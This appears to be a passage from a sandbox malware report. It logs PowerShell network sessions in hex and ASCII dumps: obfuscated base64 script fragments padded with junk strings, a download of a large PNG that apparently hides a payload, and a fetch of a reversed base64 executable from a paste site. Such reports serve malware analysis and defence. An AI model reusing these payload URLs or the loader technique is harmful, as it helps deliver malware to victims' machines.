2024-01-04 07:37:13 UTC	1369	IN	Data Raw: 44 67 54 72 65 44 77 44 67 54 72 65 51 67 42 42 44 67 54 72 65 46 4d 44 67 54 72 65 52 51 44 67 54 72 65 32 44 67 54 72 65 44 51 44 67 54 72 65 58 77 42 46 44 67 54 72 65 45 34 44 67 54 72 65 52 44 67 54 72 65 44 67 54 72 65 2b 44 67 54 72 65 44 34 44 67 54 72 65 4a 77 44 67 54 72 65 37 44 67 54 72 65 43 51 44 67 54 72 65 63 77 42 30 44 67 54 72 65 47 45 44 67 54 72 65 63 67 42 30 44 67 54 72 65 45 6b 44 67 54 72 65 62 67 42 6b 44 67 54 72 65 47 55 44 67 54 72 65 65 44 67 54 72 65 44 67 54 72 65 67 44 67 54 72 65 44 30 44 67 54 72 65 49 44 67 54 72 65 44 67 54 72 65 6b 44 67 54 72 65 47 6b 44 67 54 72 65 62 51 42 68 44 67 54 72 65 47 63 44 67 54 72 65 22 20 26 20 41 6a 69 47 70 51 47 55 61 4f 50 6f 64 63 42 50 6d 75 79 55 71 65 62 65 66 61 73 57 47 50 6a Data Ascii: DgTreDwDgTreQgBBDgTreFMDgTreRQDgTre2DgTreDQDgTreXwBFDgTreE4DgTreRDgTreDgTre+DgTreD4DgTreJwDgTre7DgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTregDgTreD0DgTreIDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTre" & AjiGpQGUaOPodcBPmuyUqebefasWGPj
2024-01-04 07:37:13 UTC	1369	IN	Data Raw: 45 41 54 78 57 5a 4d 76 4e 6d 58 58 76 62 4c 74 4e 59 71 62 4f 44 78 53 4a 4c 55 67 50 4f 75 72 51 77 4f 4e 71 51 79 59 64 79 48 47 65 64 4a 46 72 43 68 79 51 76 5a 65 47 74 51 56 52 78 7a 46 46 78 62 6a 71 71 4d 78 52 66 4c 69 45 69 53 46 71 45 55 4a 4e 50 75 56 63 42 57 61 49 74 50 55 4e 56 54 73 49 7a 4b 4e 7a 66 45 73 6a 7a 4d 52 4c 4a 70 61 54 79 74 75 63 68 58 47 69 74 20 26 20 22 51 42 34 44 67 54 72 65 45 38 44 67 54 72 65 22 20 26 20 41 6a 69 47 70 51 47 55 61 4f 50 6f 64 63 42 50 6d 75 79 55 71 65 62 65 66 61 73 57 47 50 6a 75 54 79 6d 77 68 6c 52 76 50 44 47 66 56 71 4c 4d 74 79 57 67 55 51 56 6e 51 41 54 43 4d 74 68 4f 46 68 78 4c 64 70 41 49 63 56 45 41 54 78 57 5a 4d 76 4e 6d 58 58 76 62 4c 74 4e 59 71 62 4f 44 78 53 4a 4c 55 67 50 4f 75 72 Data Ascii: EATxWZMvNmXXvbLtNYqbODxSJLUgPOurQwONqQyYdyHGedJFrChyQvZeGtQVRxzFFxbjqqMxRfLiEiSFqEUJNPuVcBWaItPUNVTsIzKNzfEsjzMRLJpaTytuchXGit & "QB4DgTreE8DgTre" & AjiGpQGUaOPodcBPmuyUqebefasWGPjuTymwhlRvPDGfVqLMtyWgUQVnQATCMthOFhxLdpAIcVEATxWZMvNmXXvbLtNYqbODxSJLUgPOur

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49706	104.22.53.71	443	3668	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-04 07:37:16 UTC	85	OUT	GET /uwp/uwp4203994.png HTTP/1.1 Host: wallpapercave.com Connection: Keep-Alive
2024-01-04 07:37:16 UTC	468	IN	HTTP/1.1 200 OK Date: Thu, 04 Jan 2024 07:37:16 GMT Content-Type: image/png Content-Length: 18595684 Connection: close Cache-Control: max-age=31536000 Cf-Bgj: imgq:85,h2pri Cf-Polished: status=cannot_optimize etag: "658b4e7d-11bbf64" expires: Thu, 01 Feb 2024 15:15:17 GMT last-modified: Tue, 26 Dec 2023 22:06:53 GMT CF-Cache-Status: HIT Age: 145319 Accept-Ranges: bytes Server: cloudflare CF-RAY: 8401d0b67e873b7a-IAD alt-svc: h3=":443"; ma=86400
2024-01-04 07:37:16 UTC	901	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 0f 00 00 00 08 70 08 02 00 00 00 1f dc 5c 25 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 22 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 33 2d 63 30 31 31 20 36 36 2e 31 34 35 36 36 31 2c 20 32 30 31 32 2f 30 32 2f 30 36 2d 31 34 3a 35 36 3a 32 37 20 20 Data Ascii: PNGIHDRp\%tEXtSoftwareAdobe ImageReadyqe<"iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27
2024-01-04 07:37:16 UTC	1369	IN	Data Raw: a5 65 36 4f 66 44 41 66 52 12 08 55 96 68 20 54 89 10 2d 24 ba b4 90 e8 d2 e0 21 78 d3 7a 81 7a 06 10 48 88 14 aa 0b 51 15 1e e1 cb f0 b3 d7 34 b3 6f d8 9c 27 88 54 46 fc fe fb b9 ec bd f6 bc 98 0d 1b 17 ff 87 ff e1 7f f9 77 ff ef 1f ec f3 9f 88 cf ff f8 f7 9f dc fd fd 53 fd 95 f5 7f fc f3 c5 ef d7 e4 1f fa 4b 3e ff f3 db df c4 f7 ff f9 e7 cf bf fd f7 f3 f9 e9 fe f9 bf fa 5e f9 96 cf d7 c5 fb 4f 9f 9f f6 f9 f6 df fe d2 f1 17 e6 eb fd c9 df bf e1 fd 43 be f8 58 6b bd 7f c8 9f f1 f9 81 9f 7f fe ed 5f 7d ff ef fb 83 f2 37 7d be f7 fb 57 f4 af ef 1f d6 7f c3 37 18 f3 c9 7c 7f 51 ec b7 56 7f b1 3e bf 34 f6 fb f1 fa fb fd 95 f5 ed fb 2b eb 69 7c 9e 4e 7e cd 7e 2e ee f5 44 f7 eb fc 7e a7 9f d7 90 ef de df e7 fc f9 f9 9f 77 f4 f9 ca ef 1f bb 9f f7 e7 67 ba e9 47 Data Ascii: e6OfDAfRUh T-$!xzzHQ4o'TFwSK>^OCXk_}7}W7\|QV>4+i\|N~~.D~wgG
2024-01-04 07:37:16 UTC	1369	IN	Data Raw: 7b 73 a1 02 8f dd c4 ee 13 b2 96 56 d5 ea 91 db 26 ef bb cf 0b fb ac e6 77 49 9f a7 13 b7 75 9d cc fd 8f 4f 36 27 df 3f 73 e1 33 6c 28 ef 3d ed 1f 34 c5 44 10 aa 72 3a ab d4 7a f9 bb af 05 d0 a4 d8 4a 23 84 f5 e9 37 d0 97 cf f8 89 5e 8d 7d 3b 9b 87 f4 d7 31 ee 2f 7d b1 a6 80 95 cd 0a af a0 39 ab ca 36 76 13 91 57 1a 3b 32 03 22 59 27 64 0c 58 c3 f5 13 1c 9b f1 f8 1b b3 63 31 f3 d3 ec a5 bf 1f c4 5b f9 d7 61 ab 85 21 0a cb ac 7f 78 17 14 9e 96 0b c0 0d 2d bb b9 dc 9b 91 db c6 f4 2c 1a e7 29 0e ab 18 07 aa a0 8e 89 64 56 57 52 27 a4 03 ec b5 82 58 26 c4 ca 4b 24 72 37 bc 0d 7e 6d 69 93 b6 de fa 2e d3 43 23 eb 43 b6 bf 5c ab fd 58 fa 2f 37 f8 60 02 62 6b 4f 6f da 65 5b d7 7b fe 9e 03 d5 6c c6 be cd df fb 24 2b a8 3e 73 f2 67 ae 04 96 6d 74 d3 a8 1e bc 4a 0b Data Ascii: {sV&wIuO6'?s3l(=4Dr:zJ#7^};1/}96vW;2"Y'dXc1[a!x-,)dVWR'X&K$r7~mi.C#C\X/7`bkOoe[{l$+>sgmtJ
2024-01-04 07:37:16 UTC	1369	IN	Data Raw: 75 a2 3a 81 8e cf 87 f8 37 7f f3 1f fd d5 ff f9 7f fd a3 e5 c4 dd 50 d0 f7 91 2e 3f c3 f8 49 ca 34 6a ae fe 86 fc 80 71 34 57 e0 7d 9f 24 10 e7 69 3e 07 30 fe 03 8d 89 ed 9f 37 f7 15 1d 82 6b 83 97 af 1f 68 fe 59 8a 61 ff e0 08 b3 31 b8 f9 7c 98 6b ed f1 61 c1 31 75 c0 81 ef 02 40 bf f9 d6 c7 76 cb d3 41 fa 04 c5 98 cc c9 8e c3 da 5a 7b f5 3d 64 26 59 af cd b3 8e 4f 08 d0 df 2d 18 fe 65 7f fa a3 fd 87 3f f8 df fe 27 bf fd b8 f8 f5 d7 cd fe ec ea e4 0e 91 8c e6 9f a0 cc 7e e3 1c 0f a3 55 1e 7b c8 79 e1 8d 5f 50 f4 b2 3a b6 d6 e6 4b 71 a1 fb 18 67 92 d0 33 d0 ff 71 ad e2 2c d0 df be 9f ff fb 51 92 7a 55 67 7f b7 b4 7e ce 30 2e 63 4f e2 0e 98 fd 8c c3 d3 1b d0 f4 5e cc b8 86 9b 35 eb 35 f9 27 86 98 7b a3 d1 de 9a 63 e1 d7 c7 f1 96 fb 64 fc 34 6f 2c 8c 7e ab Data Ascii: u:7P.?I4jq4W}$i>07khYa1\|ka1u@vAZ{=d&YO-e?'~U{y_P:Kqg3q,QzUg~0.cO^55'{cd4o,~
2024-01-04 07:37:16 UTC	1369	IN	Data Raw: ea 9a 5b e9 24 f1 70 48 0c 2c c1 0f 0a 0b 44 50 10 b5 b0 4a 1c 9a 1c 8e ea 71 b0 07 67 19 bd 9c 06 db e3 63 9f 50 40 ca ab ec 35 a5 7c c5 13 9c cb ce ab 97 3f 2a 82 4c 59 1f 02 9b ec 75 48 60 aa 17 34 d5 39 d1 1a b3 05 f1 30 60 2e 3c 2c 95 23 56 43 7a 52 bd 1b 52 93 23 bd 7a c0 7d 7d 60 08 3a a9 3e 44 5a df 62 e3 6b ad 5f 9f 17 67 b6 ae 54 8b dd 5c af e7 09 13 79 a4 39 d0 ad ec d1 8a 8a 14 37 a5 10 4d 01 a2 b5 73 f7 33 87 c3 cb 7e 03 64 27 eb 25 3b 69 af d5 bd 52 28 78 1e 17 82 6f df 18 1b 50 4e 36 a8 c8 93 ff 64 fe 58 52 f1 08 2f 5f d4 c8 ee f1 f3 10 53 99 db a5 c9 7f e9 7a 52 bf 9f 27 c7 a1 30 45 89 e5 32 6d 6c 0c 24 ec 46 db 8a 89 2b e6 9a f4 f5 42 40 96 ab dd 09 53 18 7e 9e 4e 1f 1a 60 74 15 de 14 42 12 c3 02 c1 5a a1 54 a7 15 f0 e1 a7 f8 b5 ac 38 ce Data Ascii: [$pH,DPJqgcP@5\|?*LYuH`490`.<,#VCzRR#z}}`:>DZbk_gT\y97Ms3~d'%;iR(xoPN6dXR/_SzR'0E2ml$F+B@S~N`tBZT8
2024-01-04 07:37:16 UTC	1369	IN	Data Raw: b0 55 6d 1a 83 c4 40 cf ec 9a 76 f3 85 6d 20 92 0a 84 da ec 61 c5 91 4a 9a d7 8d b2 59 84 d1 26 75 c0 e7 b2 ea d4 be 12 0f 61 f1 e6 58 73 fb eb bd 38 a0 6a dd 77 e4 25 a8 df 62 16 a3 55 46 7b df e8 b2 af 39 27 de 8b 44 67 6b 34 0a e5 f4 ae 00 be 7c 83 ae 0d 6a ac 7e 53 2c e9 79 ba ec e7 fd b1 c6 59 07 5e 16 3f 4c f8 d0 56 e1 32 f8 5e 4b df 7d 51 1d 57 fb 56 ae 4f d9 5f b8 3c 6f 1f 9c eb 52 80 ff 05 07 5f 36 97 fb c0 c4 67 11 4f 8c 85 f1 be ce 4d ba 45 a7 5d d6 02 df 4c 5c b2 b8 2c e4 63 3d de 7b 43 7e 9e 62 fa e1 79 63 32 1a dc 5f a9 5f 42 16 be a5 ab 13 38 d0 8b 3e 12 04 23 ce 33 df 02 e7 6a 0c 8f db 35 9e 9b 41 ec 28 b2 4b 94 32 b9 02 df e2 44 f8 55 fb de 7c 8f 62 d6 d9 b8 ec d4 53 c6 55 ab 0b 36 d5 46 af e8 22 33 b5 4c b5 c1 5c 9b 3d a5 56 8f bb 88 1f Data Ascii: Um@vm aJY&uaXs8jw%bUF{9'Dgk4\|j~S,yY^?LV2^K}QWVO_<oR_6gOME]L\,c={C~byc2__B8>#3j5A(K2DU\|bSU6F"3L\=V
2024-01-04 07:37:16 UTC	1369	IN	Data Raw: 63 b9 74 a2 a7 80 73 d8 70 e0 8b fb 1c 1e 7e 3e ea b0 d3 7c e5 9a 42 a8 9c 43 fd 35 bd 69 88 36 a9 74 46 d6 45 93 8d 76 1d df cc a7 dd 64 0d d3 b2 2d dc 7d bc 0f 7a 1b c0 2a bf 65 7a 03 01 89 da fc a4 62 1a 19 ef 13 1c 2c f2 b1 95 79 be 28 30 76 20 ca 92 0b a6 ea a2 ba 4a 12 50 05 0c 55 57 2e c2 37 12 c6 8b 44 20 f3 b0 52 d7 cc 6d c5 e5 16 5a cc 04 26 e2 6b 44 1b 8f 56 02 84 cf 48 1b f8 f7 65 ac e5 f3 9c 87 2d 76 cf 61 d5 76 f4 1b cc 44 3c dd e0 2c ba 4d 96 46 bd d5 92 3a 17 6c 38 18 63 25 e0 d7 6e 7a 9f c7 81 42 99 fa cc d5 4e 81 31 c2 b2 86 14 dc 60 08 2d 15 72 7d aa dd 6d 7c 9e 2b 73 e1 66 c6 e3 7e 26 dd a7 a7 b9 b8 ab b9 c3 64 3f 37 ba 67 68 27 33 d4 a2 f0 99 f7 15 7c 9e f3 c3 9b 11 10 a5 df e6 80 32 9c 71 4a e9 3b 12 a2 1f e3 86 8b 99 f2 c0 ff cf 59 Data Ascii: ctsp~>\|BC5i6tFEvd-}z*ezb,y(0v JPUW.7D RmZ&kDVHe-vavD<,MF:l8c%nzBN1`-r}m\|+sf~&d?7gh'3\|2qJ;Y
2024-01-04 07:37:16 UTC	1369	IN	Data Raw: 8f ea cd cc c6 ab 75 31 39 d0 da 39 d8 0a 28 63 89 3a 31 77 d3 63 a4 14 25 b6 5b 6b 6d c8 e9 09 9d a5 8b ca df 55 e6 bb c4 82 d1 4d 86 d7 82 98 93 32 52 c7 42 00 d3 34 c0 2e e3 2a ec 19 5b 69 28 9d 3c ac ac e6 eb b7 a4 58 33 db d7 ed 4c 50 c8 26 e6 99 53 c4 cc c6 56 88 c8 38 42 5c 7b 92 ec 93 ad 86 b2 fc e0 08 b3 82 fd 6b 4f 74 59 db e4 24 bf f8 0d 50 fa 99 e5 db f7 d4 41 e4 08 39 7c 02 04 6c 63 28 fe b6 28 ef a9 08 04 38 38 32 ef 62 bb 5b f4 3c ac 6a 84 93 98 d7 b4 f9 21 dc 9c fe 49 df 5f dc 32 d6 19 37 7d 4b 1a 9a f5 21 d1 d5 d0 cc e8 52 13 b9 0b 18 ec b7 b8 cf 21 1b 2b ea f3 7a 95 1e 2f ee 5f dc 91 38 20 57 9e 2a e7 0c 35 65 4b d0 93 7c a8 cf 29 55 ca f3 6d e2 35 e5 83 8e d3 88 70 76 31 8d 6c a0 00 e5 0b 98 ac 68 bf 19 e3 ca 28 94 40 43 dd 44 f5 6e 96 Data Ascii: u199(c:1wc%[kmUM2RB4.[i(<X3LP&SV8B\{kOtY$PA9\|lc((882b[<j!I_27}K!R!+z/_8 W5eK\|)Um5pv1lh(@CDn
2024-01-04 07:37:16 UTC	1369	IN	Data Raw: 4b fa 68 5d 4e 83 30 9a f1 47 0e f7 0f 01 f3 e9 26 e6 14 ad b5 45 82 85 70 86 30 ce e6 02 2e b4 a4 69 fa ae 84 80 b6 66 13 c9 96 57 ef 24 48 78 e7 e8 82 f1 26 d1 46 b4 3a 36 06 29 76 1d 27 ce 51 26 c8 a1 e4 01 9e f2 1e 59 0c 95 52 75 ac 16 e6 03 87 cd ca 9c ce 41 bc f0 6e a6 c8 26 c6 a5 2c b7 0e 27 6f 42 73 14 6d 0a 31 e6 2d e8 0f 55 f3 02 d8 3d d2 5f dd a9 98 6d 61 7c dd 4e 45 f7 5f 07 e5 54 3c 41 eb 0d c6 64 5f 8d 00 6a 26 c9 14 ad 68 02 6b 6e e7 0d bb e7 23 ce ce 94 3a e6 e6 e3 6e f3 b5 cc f0 6c d6 ca b1 cd e9 03 d3 2d 46 82 ff 9c e0 97 a9 50 6c 14 74 49 85 7c 66 1a 1c e6 d6 5d 93 1c ae 73 83 e0 eb 20 38 8b 9b 8f 4d d6 d3 fb 1e 97 77 92 9b 49 f2 c0 82 2d c6 5d 67 f5 36 8f e4 89 44 9f 21 06 f7 93 16 7d bc f0 f8 6b 97 43 0e 2a 6c 47 46 17 ed ba 53 f4 ae Data Ascii: Kh]N0G&Ep0.ifW$Hx&F:6)v'Q&YRuAn&,'oBsm1-U=_ma\|NE_T<Ad_j&hkn#:nl-FPltI\|f]s 8MwI-]g6D!}kC*lGFS
2024-01-04 07:37:16 UTC	1369	IN	Data Raw: fa f4 9b 11 bd 01 0e 1e c9 c3 f2 a3 3c 9e 06 06 ad 43 b0 39 e5 92 45 55 6a 9c 22 dd ba dd 1c 4d 88 77 9c 36 b1 bc c8 68 06 36 ab 41 01 97 a1 c5 12 81 b5 9d 0e 2c e7 02 67 29 64 a8 bb df 66 8d 4a b6 2e 06 96 b0 be fc 98 d7 7e 7f 60 ff e9 df db af 7f b6 3f fe 61 83 d0 85 55 e5 b9 b5 bc 14 5d e1 98 a6 b4 59 b8 15 3b 59 8c 1b 61 93 08 02 59 4c a4 8c fc f8 26 ff 95 e9 0e 4b 68 31 f3 5e 59 b4 ac c1 0b a7 9b 6c 07 b3 60 b8 32 c6 da ef b7 7c bd 7d c4 d3 b3 2b d7 dc 95 33 61 66 ef 77 73 1e 32 a5 07 e0 ce 7d 02 d6 74 dc 11 1c 7e 1d d1 8d 0a 40 d6 9b 72 71 87 75 b4 0f c2 74 07 a7 ad 21 42 92 c4 ba 4a 7f da e4 c6 87 44 19 a0 0a b1 5b 2f bf 79 1d 07 76 f0 0d e7 ab 9d 6a fa ca fa b3 ff ed 8c b6 43 cd 4b ef 96 21 8c b7 34 4b 03 04 a9 7c 93 60 28 41 2b 39 5d 6d 45 8b 4b Data Ascii: <C9EUj"Mw6h6A,g)dfJ.~`?aU]Y;YaYL&Kh1^Yl`2\|}+3afws2}t~@rqut!BJD[/yvjCK!4K\|`(A+9]mEK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.9	49707	104.21.70.240	443	3668	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-04 07:37:19 UTC	83	OUT	GET /raw/a74d3ed54ba1?download HTTP/1.1 Host: paste.fo Connection: Keep-Alive
2024-01-04 07:37:20 UTC	910	IN	HTTP/1.1 200 OK Date: Thu, 04 Jan 2024 07:37:20 GMT Content-Type: text/plain;charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=t8s1jlkg1nkhbhcnsmpkvh1pq1; path=/ Set-Cookie: token=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Content-Disposition: attachment; filename="a74d3ed54ba1.txt" Vary: Accept-Encoding CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=cjHF0L%2FSoXq9gjdm0Gwlqo0A%2FBK%2BgKTm%2BJoVojrsbGsa2unTtKfdRkUZWuL5sGpviI%2FNX4%2BULwUH%2BndPOoLfWatf%2BRPU4U01snie02iZA75aPRpzY00%2BnOwauQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8401d0ca8c3e2082-IAD alt-svc: h3=":443"; ma=86400
2024-01-04 07:37:20 UTC	459	IN	Data Raw: 37 63 32 33 0d 0a 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: 7c23AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-01-04 07:37:20 UTC	1369	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 34 44 41 41 41 41 41 4d 41 41 41 77 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA4DAAAAAMAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-01-04 07:37:20 UTC	1369	IN	Data Raw: 51 41 41 51 41 41 6f 41 41 41 41 55 47 41 34 42 51 5a 41 34 43 41 6c 42 67 62 41 6b 47 41 73 42 41 5a 41 55 47 41 53 42 41 49 41 73 47 41 6a 42 51 59 41 49 48 41 44 42 41 41 41 55 47 41 74 42 51 59 41 34 45 41 73 42 51 59 41 34 47 41 79 42 51 5a 41 51 48 41 75 42 51 53 41 45 41 41 6b 41 41 52 41 41 41 41 77 41 67 4c 41 41 44 41 75 41 41 4d 41 34 43 41 77 41 41 41 41 41 41 41 75 42 77 62 41 6b 47 41 7a 42 67 63 41 55 47 41 57 42 51 5a 41 77 47 41 70 42 67 52 41 45 41 41 51 41 41 4d 41 41 41 41 67 41 41 41 41 41 41 41 75 42 77 62 41 6b 47 41 30 42 41 63 41 6b 47 41 79 42 77 59 41 4d 48 41 6c 42 41 52 41 55 47 41 73 42 51 61 41 59 45 41 42 41 41 42 41 77 43 41 41 41 41 4d 41 49 45 41 30 41 41 4d 41 41 44 41 77 41 41 4d 41 41 44 41 41 41 41 41 42 67 4a 41 41 Data Ascii: QAAQAAoAAAAUGA4BQZA4CAlBgbAkGAsBAZAUGASBAIAsGAjBQYAIHADBAAAUGAtBQYA4EAsBQYA4GAyBQZAQHAuBQSAEAAkAARAAAAwAgLAADAuAAMA4CAwAAAAAAAuBwbAkGAzBgcAUGAWBQZAwGApBgRAEAAQAAMAAAAgAAAAAAAuBwbAkGA0BAcAkGAyBwYAMHAlBARAUGAsBQaAYEABAABAwCAAAAMAIEA0AAMAADAwAAMAADAAAAABgJAA
2024-01-04 07:37:20 UTC	1369	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-01-04 07:37:20 UTC	1369	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 77 58 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 67 2b 41 42 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 43 38 46 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 6f 2f 58 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 67 2b 66 42 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 36 2f 46 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 6f 2f 58 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwXAAAAAAAAAAAAAAAAAAg+ABAAAAAAAAAAAAAAAAAAC8FAAAAAAAAAAAAAAAAAAo/XAAAAAAAAAAAAAAAAAAg+fBAAAAAAAAAAAAAAAAAA6/FAAAAAAAAAAAAAAAAAAo/XAAA
2024-01-04 07:37:20 UTC	1369	IN	Data Raw: 41 39 2f 42 6a 44 30 2f 48 4d 4f 51 2f 66 77 34 41 39 2f 42 6a 44 30 2f 48 4d 4f 51 2f 66 77 34 41 39 2f 42 6a 44 30 2f 48 4d 4f 51 2f 66 77 34 41 39 2f 42 6e 44 30 2f 54 4d 51 4b 2f 50 78 42 70 38 2f 45 48 6b 79 2f 54 63 51 4b 2f 50 78 42 70 38 2f 45 48 6b 79 2f 54 63 51 4b 2f 50 78 43 70 38 2f 48 6e 30 77 2f 66 73 53 44 2f 2f 78 4b 4e 38 2f 48 72 30 77 2f 66 73 53 44 2f 2f 78 4b 4e 38 2f 48 72 30 77 2f 66 38 53 44 2f 76 79 52 78 37 2f 4b 4c 46 76 2f 72 73 55 38 2b 76 79 53 78 37 2f 4b 4c 46 76 2f 72 73 55 38 2b 76 79 53 78 37 2f 4b 50 46 76 2f 33 38 57 31 2b 66 7a 63 56 37 2f 4e 7a 56 74 2f 33 4d 58 31 2b 66 7a 63 56 37 2f 4e 7a 56 74 2f 33 4d 58 31 2b 66 7a 64 56 37 2f 51 54 32 72 2f 44 64 5a 76 2b 50 30 6c 39 36 2f 51 58 32 72 